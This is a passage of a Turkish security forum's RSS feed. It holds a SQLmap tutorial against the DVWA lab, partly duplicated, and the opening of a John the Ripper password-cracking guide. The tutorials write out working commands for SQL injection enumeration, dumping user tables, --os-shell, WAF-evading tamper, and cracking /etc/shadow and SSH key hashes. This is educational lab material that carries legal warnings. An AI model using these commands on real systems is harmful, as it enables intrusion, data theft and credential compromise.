<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "..." --cookie="..." --os-shell --batch</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--tamper:</span> Basit WAF/filtre atlatma için yük dönüştürme betikleri (yalnızca yetkili testlerde):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "..." --tamper=space2comment --batch</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7. Savunma Tarafı</span></span><br />
SQLmap'i öğrenmenin asıl amacı savunmayı güçlendirmektir. SQL Injection'a karşı temel önlemler:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Parametreli sorgular / prepared statements:</span> Girdiyi koddan ayırır; en etkili çözümdür.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">En az ayrıcalıklı DB kullanıcısı:</span> Uygulama hesabı yalnızca ihtiyaç duyduğu tablolara erişsin.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Girdi doğrulama ve çıktı kodlama:</span> Beklenen tipi zorlayın.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">WAF:</span> Ek katman olarak faydalıdır ama tek başına yeterli değildir.<br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7.1. SQLmap Çıktısını Doğru Okumak</span></span><br />
SQLmap güçlü bir araç olsa da, çıktısını doğru yorumlamak aracı çalıştırmak kadar önemlidir. Araç bir parametreyi test ederken hangi tekniklerin işe yaradığını açıkça raporlar: boolean-based blind, error-based, time-based blind ve UNION query. Bu tekniklerin ne anlama geldiğini bilmek, bulgunun gerçekliğini ve etkisini değerlendirmenize yardımcı olur. Örneğin time-based blind, uygulamanın hata vermeden sessizce zafiyetli olduğunu gösterir ve genellikle en yavaş ama en güvenilir yöntemdir; UNION query ise veriyi tek istekte büyük miktarda çekebildiği için en hızlısıdır.<br />
<br />
SQLmap sonuçlarını bir oturum dosyasında önbelleğe alır; aynı hedefi tekrar çalıştırdığınızda tespit aşamasını atlayıp doğrudan devam eder. Bu hız kazandırır, ancak hedef değiştiyse yanıltıcı olabilir; temiz bir test için --flush-session kullanarak önbelleği temizleyebilirsiniz. Ayrıca aracın ürettiği tüm istek ve yanıtları ve çıkarılan verileri bir çıktı dizininde saklar; raporlama yaparken bu çıktı dizini delil zincirinizin bir parçası olur.<br />
<br />
Gerçek bir yetkili testte gürültü ve etki yönetimi kritiktir. Yüksek --level ve --risk değerleri çok daha fazla istek üretir ve üretim sistemlerinde performans sorunlarına yol açabilir; bu yüzden kapsamınızı ve müşterinizle anlaştığınız sınırları her zaman gözetin. --dump ile koca bir tabloyu çekmeden önce, gerçekten o veriye ihtiyacınız olup olmadığını düşünün; çoğu zaman zafiyetin varlığını ve birkaç örnek kaydı göstermek, tüm veritabanını indirmekten daha profesyonel ve daha az risklidir. Amaç, bulguyu kanıtlamak ve kapatılmasını sağlamaktır; veri hırsızlığı değil.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
SQLmap, SQL Injection tespit ve sömürüsünü otomatikleştiren son derece güçlü bir araçtır; DVWA ise bunu güvenle öğrenmek için ideal bir sahadır. Önce Low seviyede temel akışı (tespit &gt; dbs &gt; tables &gt; columns &gt; dump) oturtun, ardından level/risk ve farklı güvenlik seviyeleriyle derinleşin. Unutmayın: amaç yıkmak değil, zafiyeti anlayıp parametreli sorgularla kapatmaktır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>SQLmap Resmi Sitesi ve Wiki - <a href="https://sqlmap.org" target="_blank" rel="noopener" class="mycode_url">https://sqlmap.org</a><br />
</li>
<li>SQLmap Kullanım Belgeleri - <a href="https://github.com/sqlmapproject/sqlmap/wiki/Usage" target="_blank" rel="noopener" class="mycode_url">https://github.com/sqlmapproject/sqlmap/wiki/Usage</a><br />
</li>
<li>DVWA Resmi Deposu - <a href="https://github.com/digininja/DVWA" target="_blank" rel="noopener" class="mycode_url">https://github.com/digininja/DVWA</a><br />
</li>
<li>OWASP SQL Injection - <a href="https://owasp.org/www-community/attacks/SQL_Injection" target="_blank" rel="noopener" class="mycode_url">https://owasp.org/www-community/attacks/SQL_Injection</a><br />
</li>
<li>OWASP SQL Injection Prevention Cheat Sheet - <a href="https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" target="_blank" rel="noopener" class="mycode_url">https://cheatsheetseries.owasp.org/cheat...Sheet.html</a><br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>SQLmap yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde kullanılmalıdır. İzinsiz SQL enjeksiyonu ve veri erişimi Türk Ceza Kanunu 243-245. maddeleri kapsamında ağır suçtur. DVWA'yı daima yerel/izole ortamda çalıştırın.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=142" target="_blank" title="">000-team-new-63b705.png</a> (Dosya Boyutu: 68.06 KB / İndirme Sayısı: 11)
<!-- end: postbit_attachments_attachment -->]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">Merhaba TurkTeam,</span><br />
<br />
SQL Injection (SQLi), web uygulamalarının en eski ve en etkili zafiyetlerinden biridir. Elle sömürmek zahmetli olabilir; işte <span style="font-weight: bold;" class="mycode_b">SQLmap</span> tam burada devreye girer: SQL enjeksiyon açıklarını otomatik tespit eden ve sömüren güçlü, açık kaynaklı bir araçtır. Bu rehberde SQLmap'i, yasal ve güvenli bir lab olan <span style="font-weight: bold;" class="mycode_b">DVWA</span> (Damn Vulnerable Web Application) üzerinde adım adım kullanacağız. Her şey yalnızca kendi lab ortamınız içindir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>SQL Injection ve SQLmap nedir<br />
</li>
<li>Lab kurulumu: DVWA ve güvenlik seviyesi<br />
</li>
<li>Oturum/çerez ile kimlikli tarama mantığı<br />
</li>
<li>SQLmap temel parametre referansı<br />
</li>
<li>Uygulamalı: veritabanı, tablo ve veri çıkarımı<br />
</li>
<li>İleri seviye: risk/level, --os-shell, tamper<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. SQLi ve SQLmap Nedir?</span></span><br />
SQL Injection, kullanıcıdan gelen girdinin doğrudan bir SQL sorgusuna karıştırılmasıyla, saldırganın sorgunun mantığını değiştirebilmesidir. Sonuç; yetkisiz veri okuma, kimlik doğrulama atlatma, hatta bazı durumlarda sunucuda komut çalıştırmaya kadar gidebilir.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">SQLmap</span>, bu açıkları otomatik keşfeden ve sömüren bir araçtır. Boolean-based, error-based, time-based blind, UNION-based gibi birçok enjeksiyon tekniğini destekler; MySQL, PostgreSQL, MSSQL, Oracle gibi pek çok veritabanını tanır ve veri çıkarımını otomatikleştirir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Lab Kurulumu: DVWA</span></span><br />
DVWA, kasıtlı olarak zafiyetli bir PHP/MySQL uygulamasıdır ve öğrenmek için idealdir. En kolay yol Docker ile çalıştırmaktır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa</code></div></div>Tarayıcıdan <a href="http://localhost" target="_blank" rel="noopener" class="mycode_url">http://localhost</a> adresine gidin, varsayılan admin/password ile giriş yapın ve "Create / Reset Database" butonuna basın. Ardından <span style="font-weight: bold;" class="mycode_b">DVWA Security</span> sayfasından güvenlik seviyesini önce <span style="font-weight: bold;" class="mycode_b">Low</span> yapın.<br />
<div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=142" loading="lazy"  alt="[Resim: attachment.php?aid=142]" class="mycode_img" /></div>
<br />
Hedefimiz "SQL Injection" sayfasıdır; URL şu kalıptadır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>http://localhost/vulnerabilities/sqli/?id=1&amp;Submit=Submit</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Oturum/Çerez Mantığı</span></span><br />
DVWA giriş gerektirir; SQLmap'in de aynı oturumu kullanması için çerezi vermeliyiz. Tarayıcının geliştirici araçlarından (Application &gt; Cookies) <span style="font-weight: bold;" class="mycode_b">PHPSESSID</span> ve <span style="font-weight: bold;" class="mycode_b">security</span> çerezlerini kopyalayın. Bunları --cookie ile SQLmap'e aktaracağız.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. SQLmap Parametre Referansı</span></span><br />
<span style="font-weight: bold;" class="mycode_b">-u</span> - Hedef URL (enjekte edilecek parametreyi içerir):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&amp;Submit=Submit"</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--cookie</span> - Kimlikli istek için oturum çerezi:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>--cookie="PHPSESSID=abcdef123; security=low"</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-p</span> - Hangi parametrenin test edileceği:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>-p id</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--dbs</span> - Erişilebilir veritabanlarını listele:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>--dbs</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-D / --tables</span> - Bir veritabanının tablolarını listele:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>-D dvwa --tables</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">-T / --columns</span> - Bir tablonun sütunlarını listele:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>-D dvwa -T users --columns</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--dump</span> - Verileri çıkar (döküm al):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>-D dvwa -T users --dump</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--batch</span> - Soruları varsayılanla otomatik yanıtla (etkileşimsiz):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>--batch</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. Uygulamalı: Veritabanından Veri Çıkarma</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Adım 1 - Enjeksiyon tespiti.</span> Önce parametrenin zafiyetli olup olmadığını doğrulayalım:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&amp;Submit=Submit" &#92;
  --cookie="PHPSESSID=abcdef123; security=low" -p id --batch</code></div></div>SQLmap zafiyeti bulunca "parameter 'id' is vulnerable" ve kullanılan tekniği (örn. boolean-based blind, UNION query) ile birlikte arka plandaki veritabanını (örn. MySQL) raporlar.<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 2 - Veritabanlarını listeleme:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&amp;Submit=Submit" &#92;
  --cookie="PHPSESSID=abcdef123; security=low" --dbs --batch</code></div></div>Çıktıda "dvwa", "information_schema" gibi veritabanları listelenir.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 3 - dvwa veritabanının tabloları:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "..." --cookie="..." -D dvwa --tables --batch</code></div></div>"users" ve "guestbook" tabloları görünür.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 4 - users tablosunu dökme:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "..." --cookie="..." -D dvwa -T users --dump --batch</code></div></div>SQLmap kullanıcı kayıtlarını bir tabloda gösterir. Parola sütunu hash'li ise SQLmap hash'i tanıyıp sözlük saldırısı önerir; kabul ederseniz dahili wordlist ile kırmaya çalışır ve çözülen parolaları yanında gösterir.<br />
<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. İleri Seviye: Level, Risk, Shell ve Tamper</span></span><br />
<span style="font-weight: bold;" class="mycode_b">--level ve --risk:</span> Daha fazla test vektörü ve daha agresif teknikler için (1-5 ve 1-3); yüksek değerler daha kapsamlı ama daha gürültülüdür:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "..." --cookie="..." --level=5 --risk=3 --batch</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Higher security seviyeleri:</span> DVWA'da güvenlik "Medium" (POST + sayısal) veya "High" olduğunda, isteği -r ile bir dosyadan (Burp'tan kaydedilen ham istek) besleyebilir veya --data ile POST gövdesi verebilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -r istek.txt -p id --batch</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--os-shell:</span> Uygun koşullarda (dosya yazma yetkisi, yol bilgisi) işletim sistemi kabuğu dener. Bu, yüksek etkili bir adımdır ve yalnızca kendi lab'ınızda denenmelidir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "..." --cookie="..." --os-shell --batch</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--tamper:</span> Basit WAF/filtre atlatma için yük dönüştürme betikleri (yalnızca yetkili testlerde):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sqlmap -u "..." --tamper=space2comment --batch</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7. Savunma Tarafı</span></span><br />
SQLmap'i öğrenmenin asıl amacı savunmayı güçlendirmektir. SQL Injection'a karşı temel önlemler:<ul class="mycode_list"><li><span style="font-weight: bold;" class="mycode_b">Parametreli sorgular / prepared statements:</span> Girdiyi koddan ayırır; en etkili çözümdür.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">En az ayrıcalıklı DB kullanıcısı:</span> Uygulama hesabı yalnızca ihtiyaç duyduğu tablolara erişsin.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">Girdi doğrulama ve çıktı kodlama:</span> Beklenen tipi zorlayın.<br />
</li>
<li><span style="font-weight: bold;" class="mycode_b">WAF:</span> Ek katman olarak faydalıdır ama tek başına yeterli değildir.<br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">7.1. SQLmap Çıktısını Doğru Okumak</span></span><br />
SQLmap güçlü bir araç olsa da, çıktısını doğru yorumlamak aracı çalıştırmak kadar önemlidir. Araç bir parametreyi test ederken hangi tekniklerin işe yaradığını açıkça raporlar: boolean-based blind, error-based, time-based blind ve UNION query. Bu tekniklerin ne anlama geldiğini bilmek, bulgunun gerçekliğini ve etkisini değerlendirmenize yardımcı olur. Örneğin time-based blind, uygulamanın hata vermeden sessizce zafiyetli olduğunu gösterir ve genellikle en yavaş ama en güvenilir yöntemdir; UNION query ise veriyi tek istekte büyük miktarda çekebildiği için en hızlısıdır.<br />
<br />
SQLmap sonuçlarını bir oturum dosyasında önbelleğe alır; aynı hedefi tekrar çalıştırdığınızda tespit aşamasını atlayıp doğrudan devam eder. Bu hız kazandırır, ancak hedef değiştiyse yanıltıcı olabilir; temiz bir test için --flush-session kullanarak önbelleği temizleyebilirsiniz. Ayrıca aracın ürettiği tüm istek ve yanıtları ve çıkarılan verileri bir çıktı dizininde saklar; raporlama yaparken bu çıktı dizini delil zincirinizin bir parçası olur.<br />
<br />
Gerçek bir yetkili testte gürültü ve etki yönetimi kritiktir. Yüksek --level ve --risk değerleri çok daha fazla istek üretir ve üretim sistemlerinde performans sorunlarına yol açabilir; bu yüzden kapsamınızı ve müşterinizle anlaştığınız sınırları her zaman gözetin. --dump ile koca bir tabloyu çekmeden önce, gerçekten o veriye ihtiyacınız olup olmadığını düşünün; çoğu zaman zafiyetin varlığını ve birkaç örnek kaydı göstermek, tüm veritabanını indirmekten daha profesyonel ve daha az risklidir. Amaç, bulguyu kanıtlamak ve kapatılmasını sağlamaktır; veri hırsızlığı değil.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Sonuç</span></span><br />
SQLmap, SQL Injection tespit ve sömürüsünü otomatikleştiren son derece güçlü bir araçtır; DVWA ise bunu güvenle öğrenmek için ideal bir sahadır. Önce Low seviyede temel akışı (tespit &gt; dbs &gt; tables &gt; columns &gt; dump) oturtun, ardından level/risk ve farklı güvenlik seviyeleriyle derinleşin. Unutmayın: amaç yıkmak değil, zafiyeti anlayıp parametreli sorgularla kapatmaktır.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Kaynakça</span></span><ul class="mycode_list"><li>SQLmap Resmi Sitesi ve Wiki - <a href="https://sqlmap.org" target="_blank" rel="noopener" class="mycode_url">https://sqlmap.org</a><br />
</li>
<li>SQLmap Kullanım Belgeleri - <a href="https://github.com/sqlmapproject/sqlmap/wiki/Usage" target="_blank" rel="noopener" class="mycode_url">https://github.com/sqlmapproject/sqlmap/wiki/Usage</a><br />
</li>
<li>DVWA Resmi Deposu - <a href="https://github.com/digininja/DVWA" target="_blank" rel="noopener" class="mycode_url">https://github.com/digininja/DVWA</a><br />
</li>
<li>OWASP SQL Injection - <a href="https://owasp.org/www-community/attacks/SQL_Injection" target="_blank" rel="noopener" class="mycode_url">https://owasp.org/www-community/attacks/SQL_Injection</a><br />
</li>
<li>OWASP SQL Injection Prevention Cheat Sheet - <a href="https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" target="_blank" rel="noopener" class="mycode_url">https://cheatsheetseries.owasp.org/cheat...Sheet.html</a><br />
</li>
</ul>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Yasal Uyarı</span></span><br />
<blockquote class="mycode_quote"><cite>Alıntı:</cite>SQLmap yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde kullanılmalıdır. İzinsiz SQL enjeksiyonu ve veri erişimi Türk Ceza Kanunu 243-245. maddeleri kapsamında ağır suçtur. DVWA'yı daima yerel/izole ortamda çalıştırın.</blockquote>
<br />
<span style="font-style: italic;" class="mycode_i">Yasal uyarı: Bu içerik eğitim amaçlıdır. Yalnızca kendi sistemlerinizde veya yazılı izin aldığınız hedeflerde uygulayın (TCK 243-245).</span><br /><!-- start: postbit_attachments_attachment -->
<br /><!-- start: attachment_icon -->
<img src="https://cdn.turkteam.org/images/attachtypes/image.png" title="PNG Image" border="0" alt=".png" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a href="attachment.php?aid=142" target="_blank" title="">000-team-new-63b705.png</a> (Dosya Boyutu: 68.06 KB / İndirme Sayısı: 11)
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[John the Ripper ile Parola Kırma: Kurulum, Modlar ve Uygulamalı Örnekler]]></title>
			<link>https://www.turkteam.org/konu-john-the-ripper-ile-parola-kirma-kurulum-modlar-ve-uygulamali-ornekler.html</link>
			<pubDate>Sat, 17 Oct 2026 17:08:42 +0300</pubDate>
			<dc:creator><![CDATA[<a href="https://www.turkteam.org/member.php?action=profile&uid=4">KulTigin</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.turkteam.org/konu-john-the-ripper-ile-parola-kirma-kurulum-modlar-ve-uygulamali-ornekler.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">Merhaba TurkTeam,</span><br />
<br />
John the Ripper (JtR), parola güvenliğini denetlemek için kullanılan, açık kaynaklı ve çok eski köklere sahip bir parola kırma aracıdır. Bu rehberde community sürümü "jumbo" üzerinden kurulumu, çalışma modlarını (single, wordlist, incremental), hash biçimlerini ve en çok kullanılan yardımcı araçları (unshadow, zip2john gibi) uygulamalı olarak ele alıyoruz. Tüm örnekler yalnızca kendi hesaplarınız ve lab verileriniz içindir.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Konuda Anlatılacaklar</span></span><br />
<ol type="1" class="mycode_list"><li>John the Ripper nedir, nasıl çalışır<br />
</li>
<li>Kurulum: paket deposu ve jumbo sürüm<br />
</li>
<li>Hash biçimi tespiti ve *2john yardımcıları<br />
</li>
<li>Çalışma modları: single, wordlist, incremental<br />
</li>
<li>Uygulamalı: Linux shadow parolası kırma<br />
</li>
<li>Kural (rules), maske ve ilerleme yönetimi<br />
</li>
<li>Sonuç, kaynakça ve yasal uyarı<br />
</li>
</ol>
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">1. John the Ripper Nedir, Nasıl Çalışır?</span></span><br />
Parolalar sistemlerde açık metin değil, geri döndürülemez bir <span style="font-weight: bold;" class="mycode_b">hash</span> olarak saklanır. JtR, bir aday parolayı aynı algoritmayla hashleyip saklanan hash ile karşılaştırarak çalışır; eşleşirse parola bulunmuş olur. Yani JtR hash'i "çözmez", doğru adayı tahmin edip doğrular. Bu yüzden başarı; wordlist kalitesine, kurallara ve hash algoritmasının yavaşlığına bağlıdır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Jumbo</span> sürümü (openwall/john), topluluk tarafından yüzlerce hash türü, OpenCL/GPU desteği ve zengin yardımcı araçlarla genişletilmiş versiyondur ve pentest için önerilen sürümdür.<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">2. Kurulum</span></span><br />
Kali/Parrot üzerinde jumbo sürümü genelde "john" paketiyle gelir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo apt update
sudo apt install john</code></div></div>Sürümü ve derlenmiş özellikleri doğrulayın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --version
john --list=build-info</code></div></div>Desteklenen hash biçimlerini listelemek için:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --list=formats | tr ',' '&#92;n' | head</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">3. Hash Biçimi ve *2john Yardımcıları</span></span><br />
JtR, pek çok dosya türünü kırılabilir hash biçimine çeviren yardımcı betikler içerir. Bunlar genelde /usr/share/john/ veya /usr/sbin altında bulunur.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">unshadow</span> - /etc/passwd ve /etc/shadow dosyalarını JtR'nin anlayacağı tek dosyada birleştirir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo unshadow /etc/passwd /etc/shadow &gt; hashes.txt</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">zip2john / rar2john</span> - Parolalı arşivlerin hash'ini çıkarır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>zip2john gizli.zip &gt; zip.hash</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">ssh2john</span> - Parolalı özel anahtarın hash'ini çıkarır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>ssh2john id_rsa &gt; key.hash</code></div></div><br />
Bir hash'in türünden emin değilseniz, biçim tahmini için önce incelenmelidir; JtR çoğu zaman biçimi otomatik tanır, ancak --format ile zorlayabilirsiniz:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --format=sha512crypt hashes.txt</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">4. Çalışma Modları</span></span><br />
<span style="font-weight: bold;" class="mycode_b">single</span> - Kullanıcı adı, GECOS alanı gibi bilgilerden türetilen akıllı tahminler; hızlı ilk geçiş için idealdir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --single hashes.txt</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">wordlist</span> - Bir kelime listesi üzerinden deneme; isteğe bağlı kurallarla güçlenir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">--rules</span> - Kelimeleri dönüştürerek (büyük harf, sona rakam ekleme vb.) varyasyon üretir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">incremental</span> - Karakter uzayını istatistiksel sırayla deneyen brute-force modu (uzun sürebilir):<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --incremental hashes.txt</code></div></div><br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">5. Uygulamalı: Linux Shadow Parolası Kırma</span></span><br />
Aşağıdaki akışı yalnızca KENDİ test makinenizde deneyin.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 1 - Test kullanıcısı oluşturun ve basit bir parola verin (lab):</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo useradd -m testkullanici
echo 'testkullanici:password123' | sudo chpasswd</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Adım 2 - Hash'leri birleştirin:</span><br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo unshadow /etc/passwd /etc/shadow &gt; hashes.txt</code></div></div>Çıktı satırı şuna benzer; &#36;6&#36; öneki parolanın sha512crypt ile saklandığını gösterir:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>testkullanici:&#36;6&#36;xyz...&#36;abcdef...:1002:1002::/home/testkullanici:/bin/bash</code></div></div><div style="text-align: center;" class="mycode_align"><img src="https://www.turkteam.org/attachment.php?aid=132" loading="lazy"  alt="[Resim: attachment.php?aid=132]" class="mycode_img" /></div>
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 3 - rockyou ile kırma:</span><br />
rockyou.txt Kali'de genelde sıkıştırılmıştır; önce açın:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>sudo gzip -d /usr/share/wordlists/rockyou.txt.gz 2&gt;/dev/null
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt</code></div></div>JtR parolayı bulunca şuna benzer bir satır yazar ve kırılan kayıtları john.pot dosyasına ekler:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>password123      (testkullanici)</code></div></div><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Adım 4 - Sonuçları görüntüleme:</span><br />
Kırılmış parolaları tekrar çalıştırmadan görmek için:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --show hashes.txt</code></div></div>Bu komut "testkullanici:password123" gibi çözülmüş kayıtları listeler.<br />
<br />
<br />
<span style="font-size: 4pt;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">6. İleri Seviye: Kurallar, Maske ve İlerleme</span></span><br />
<span style="font-weight: bold;" class="mycode_b">Durum takibi:</span> JtR çalışırken herhangi bir tuşa basınca ilerlemeyi gösterir. Oturum kaydetme ve devam ettirme:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --session=denetim --wordlist=rockyou.txt hashes.txt
john --restore=denetim</code></div></div><br />
<span style="font-weight: bold;" class="mycode_b">Mask modu:</span> Parola kalıbını biliyorsanız (örn. 6 küçük harf + 2 rakam) hedefli brute-force çok hızlanır:<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>john --mask='?l?l?l?l?l?l?d?d' --min-length=8 hashes.txt</code></div></div>Burada ?l küçük harfi, ?d rakamı temsil eder.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Özel kural seti:</span> /etc/john/john.conf içine kendi kurallarınızı ekleyip --rules=KuralAdi ile çağırabilirsiniz. Kurumsal denetimlerde parola politikasına uygun özel kurallar yazmak, gerçekçi sonuç verir.<br />
<br />
